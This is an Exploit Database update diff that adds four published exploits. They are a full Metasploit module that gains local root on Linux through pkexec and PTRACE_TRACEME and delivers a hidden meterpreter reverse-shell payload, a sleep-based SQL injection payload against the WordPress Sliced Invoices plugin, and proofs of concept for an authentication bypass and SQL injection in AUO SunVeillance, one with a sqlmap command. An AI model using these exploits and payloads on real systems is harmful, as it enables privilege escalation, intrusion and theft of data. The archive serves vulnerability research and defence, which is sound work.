DB: 2019-10-25

4 changes to exploits/shellcodes

Linux Polkit - pkexec helper PTRACE_TRACEME local root (Metasploit)
Wordpress Sliced Invoices 3.8.2 - 'post' SQL Injection
AUO SunVeillance Monitoring System 1.1.9e - Incorrect Access Control
AUO SunVeillance Monitoring System 1.1.9e - 'MailAdd' SQL Injection

exploits/hardware/webapps/47541.txt

@@ -0,0 +1,23 @@
+# Exploit Title: AUO SunVeillance Monitoring System 1.1.9e - Incorrect Access Control
+# Date: 2019-10-24
+# Exploit Author: Luca.Chiou
+# Vendor Homepage: https://www.auo.com/zh-TW
+# Version: AUO SunVeillance Monitoring System all versions prior to v1.1.9e
+# Tested on: It is a proprietary devices: https://solar.auo.com/en-global/Support_Download_Center/index
+# CVE: N/A
+ 
+# 1. Description:
+# An issue was discovered in AUO SunVeillance Monitoring System.
+# There is an incorrect access control vulnerability that can allow the attacker to 
+# bypass the authentication mechanism, and upload files to the server without any authentication.
+ 
+# 2. Proof of Concept:
+(1) Access the picture management page of AUO SunVeillance Monitoring System (/Solar_Web_Portal/Picture_Manage_mvc.aspx) without 
+    any authentication. As a guest role, user is not allowed to upload a picture. However, there are two parameters, Act and authority, in Picture_Manage_mvc.aspx.
+(2) Modify the value of parameter authority from 40 to 100. You can find out the upload button is enabled.
+(3) Now you can upload a file successfully.
+(4) The file which we uploaded is storing in server side. It’s means any user without authentication can upload files to server side.
+ 
+Thank you for your kind assistance.
+
+Luca

exploits/hardware/webapps/47542.txt

@@ -0,0 +1,31 @@
+# Exploit Title: AUO SunVeillance Monitoring System 1.1.9e - 'MailAdd' SQL Injection
+# Date: 2019-10-24
+# Exploit Author: Luca.Chiou
+# Vendor Homepage: https://www.auo.com/zh-TW
+# Version: AUO SunVeillance Monitoring System all versions prior to v1.1.9e
+# Tested on: It is a proprietary devices: https://solar.auo.com/en-global/Support_Download_Center/index
+# CVE: N/A
+
+# 1. Description:
+# AUO SunVeillance Monitoring System all versions prior to v1.1.9e that is vulnerable to SQL Injection.
+# The vulnerability can allow the attacker inject maliciously SQL command to the server which allows 
+# the attacker to read privileged data.
+
+# 2. Proof of Concept:
+
+(1) Access the sending mail page of AUO SunVeillance Monitoring System  (/Solar_Web_Portal/mvc_send_mail.aspx) without any authentication. 
+    There is a parameter, MailAdd, in mvc_send_mail.aspx.
+(2) Modify the value of parameter MailAdd with single quotation. The error messages contains oracle database information.
+(3) By using sqlmap tools, attacker can acquire the database list which in server side.
+
+cmd: sqlmap.py -u “https://<host>/Solar_Web_Portal/mvc_send_mail.aspx?MailAdd=” -p MailAdd –dbs
+
+(4) Furthermore, there are a few SQL Injection vulnerabilities in other fields.
+
+picture_manage_mvc.aspx (parameter: plant_no)
+swapdl_mvc.aspx (parameter: plant_no)
+account_management.aspx (parameter: Text_Postal_Code, Text_Dis_Code)
+
+Thank you for your kind assistance.
+
+Luca

exploits/linux/local/47543.rb

@@ -0,0 +1,132 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Local
+  Rank = ExcellentRanking
+
+  include Msf::Post::File
+  include Msf::Post::Linux::Priv
+  include Msf::Post::Linux::Kernel
+  include Msf::Post::Linux::System
+  include Msf::Post::Linux::Compile
+  include Msf::Exploit::EXE
+  include Msf::Exploit::FileDropper
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'          => 'Linux Polkit pkexec helper PTRACE_TRACEME local root exploit',
+      'Description'   => %q{
+          This module exploits an issue in ptrace_link in kernel/ptrace.c before Linux
+          kernel 5.1.17. This issue can be exploited from a Linux desktop terminal, but
+          not over an SSH session, as it requires execution from within the context of
+          a user with an active Polkit agent.
+          In the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c mishandles
+          the recording of the credentials of a process that wants to create a ptrace
+          relationship, which allows local users to obtain root access by leveraging
+          certain scenarios with a parent-child process relationship, where a parent drops
+          privileges and calls execve (potentially allowing control by an attacker). One
+          contributing factor is an object lifetime issue (which can also cause a panic).
+          Another contributing factor is incorrect marking of a ptrace relationship as
+          privileged, which is exploitable through (for example) Polkit's pkexec helper
+          with PTRACE_TRACEME.
+      },
+      'License'       => MSF_LICENSE,
+      'Author'        => [
+          'Jann Horn',    # Discovery and exploit
+          'bcoles',       # Metasploit module
+          'timwr',        # Metasploit module
+      ],
+      'References'     => [
+          ['CVE', '2019-13272'],
+          ['EDB', '47133'],
+          ['PACKETSTORM', '153663'],
+          ['URL', 'https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272'],
+          ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1903'],
+      ],
+      'SessionTypes'   => [ 'shell', 'meterpreter' ],
+      'Platform'       => [ 'linux' ],
+      'Arch'           => [ ARCH_X64 ],
+      'Targets'        => [[ 'Auto', {} ]],
+      'DefaultOptions' =>
+        {
+          'Payload'     => 'linux/x64/meterpreter/reverse_tcp',
+          'PrependFork' => true,
+        },
+      'DisclosureDate' => 'Jul 4 2019'))
+    register_advanced_options [
+      OptBool.new('ForceExploit', [false, 'Override check result', false]),
+      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
+    ]
+  end
+
+  def check
+    # Introduced in 4.10, but also backported
+    # Patched in 4.4.185, 4.9.185, 4.14.133, 4.19.58, 5.1.17
+    release = kernel_release
+    v = Gem::Version.new release.split('-').first
+
+    if v >= Gem::Version.new('5.1.17') || v < Gem::Version.new('3')
+      vprint_error "Kernel version #{release} is not vulnerable"
+      return CheckCode::Safe
+    end
+    vprint_good "Kernel version #{release} appears to be vulnerable"
+
+    unless command_exists? 'pkexec'
+      vprint_error 'pkexec is not installed'
+      return CheckCode::Safe
+    end
+    vprint_good 'pkexec is installed'
+
+    arch = kernel_hardware
+    unless arch.include? 'x86_64'
+      vprint_error "System architecture #{arch} is not supported"
+      return CheckCode::Safe
+    end
+    vprint_good "System architecture #{arch} is supported"
+
+    loginctl_output = cmd_exec('loginctl --no-ask-password show-session "$XDG_SESSION_ID" | grep Remote')
+    if loginctl_output =~ /Remote=yes/
+      print_warning 'This is exploit requires a valid policykit session (it cannot be executed over ssh)'
+      return CheckCode::Safe
+    end
+
+    CheckCode::Appears
+  end
+
+  def exploit
+    if is_root? && !datastore['ForceExploit']
+      fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
+    end
+
+    unless check == CheckCode::Appears
+      unless datastore['ForceExploit']
+        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
+      end
+      print_warning 'Target does not appear to be vulnerable'
+    end
+
+    unless writable? datastore['WritableDir']
+      fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
+    end
+
+    payload_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
+    upload_and_chmodx(payload_file, generate_payload_exe)
+    register_file_for_cleanup(payload_file)
+
+    exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
+    if live_compile?
+      vprint_status 'Live compiling exploit on system...'
+      upload_and_compile exploit_file, exploit_data('CVE-2019-13272', 'poc.c')
+    else
+      vprint_status 'Dropping pre-compiled exploit on system...'
+      upload_and_chmodx exploit_file, exploit_data('CVE-2019-13272', 'exploit')
+    end
+    register_file_for_cleanup(exploit_file)
+
+    print_status("Executing exploit '#{exploit_file}'")
+    result = cmd_exec("echo #{payload_file} | #{exploit_file}")
+    print_status("Exploit result:\n#{result}")
+  end
+end

exploits/php/webapps/47540.txt

@@ -0,0 +1,19 @@
+# Exploit Title: Wordpress Sliced Invoices 3.8.2 - 'post' SQL Injection
+# Date: 2019-10-22
+# Exploit Author: Lucian Ioan Nitescu
+# Contact: https://twitter.com/LucianNitescu
+# Webiste: https://nitesculucian.github.io
+# Vendor Homepage: https://slicedinvoices.com/
+# Software Link: https://wordpress.org/plugins/sliced-invoices/
+# Version: 3.8.2
+# Tested on: Ubuntu 18.04 / Wordpress 5.3
+ 
+# 1. Description:  
+# Wordpress Sliced Invoices plugin with a version lower then 3.8.2 is affected 
+# by an Authenticated SQL Injection vulnerability.
+
+# 2. Proof of Concept: 
+# Authenticated SQL Injection:
+- Using an Wordpress user, access <your target> /wp-admin/admin.php?action=duplicate_quote_invoice&post=8%20and%20(select*from(select(sleep(20)))a)--%20
+- The response will be returned after 20 seconds proving the successful exploitation of the vulnerability.
+- Sqlmap can be used to further exploit the vulnerability.

files_exploits.csv

@@ -10732,6 +10732,7 @@ id,file,description,date,author,type,platform,port
 47527,exploits/windows/local/47527.txt,"Trend Micro Anti-Threat Toolkit 1.62.0.1218 - Remote Code Execution",2019-10-21,hyp3rlinx,local,windows,
 47529,exploits/solaris/local/47529.txt,"Solaris 11.4 - xscreensaver Privilege Escalation",2019-10-21,"Marco Ivaldi",local,solaris,
 47538,exploits/windows/local/47538.txt,"IObit Uninstaller 9.1.0.8 - 'IObitUnSvr' Unquoted Service Path",2019-10-23,"Sainadh Jamalpur",local,windows,
+47543,exploits/linux/local/47543.rb,"Linux Polkit - pkexec helper PTRACE_TRACEME local root (Metasploit)",2019-10-24,Metasploit,local,linux,
 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
@@ -41858,3 +41859,6 @@ id,file,description,date,author,type,platform,port
 47524,exploits/php/webapps/47524.py,"Joomla! 3.4.6 - Remote Code Execution",2019-10-18,"Alessandro Groppo",webapps,php,
 47537,exploits/linux/webapps/47537.txt,"Rocket.Chat 2.1.0 - Cross-Site Scripting",2019-10-23,3H34N,webapps,linux,
 47539,exploits/php/webapps/47539.rb,"Joomla! 3.4.6 - Remote Code Execution (Metasploit)",2019-10-23,"Alessandro Groppo",webapps,php,
+47540,exploits/php/webapps/47540.txt,"Wordpress Sliced Invoices 3.8.2 - 'post' SQL Injection",2019-10-24,"Lucian Ioan Nitescu",webapps,php,
+47541,exploits/hardware/webapps/47541.txt,"AUO SunVeillance Monitoring System 1.1.9e - Incorrect Access Control",2019-10-24,Luca.Chiou,webapps,hardware,
+47542,exploits/hardware/webapps/47542.txt,"AUO SunVeillance Monitoring System 1.1.9e - 'MailAdd' SQL Injection",2019-10-24,Luca.Chiou,webapps,hardware,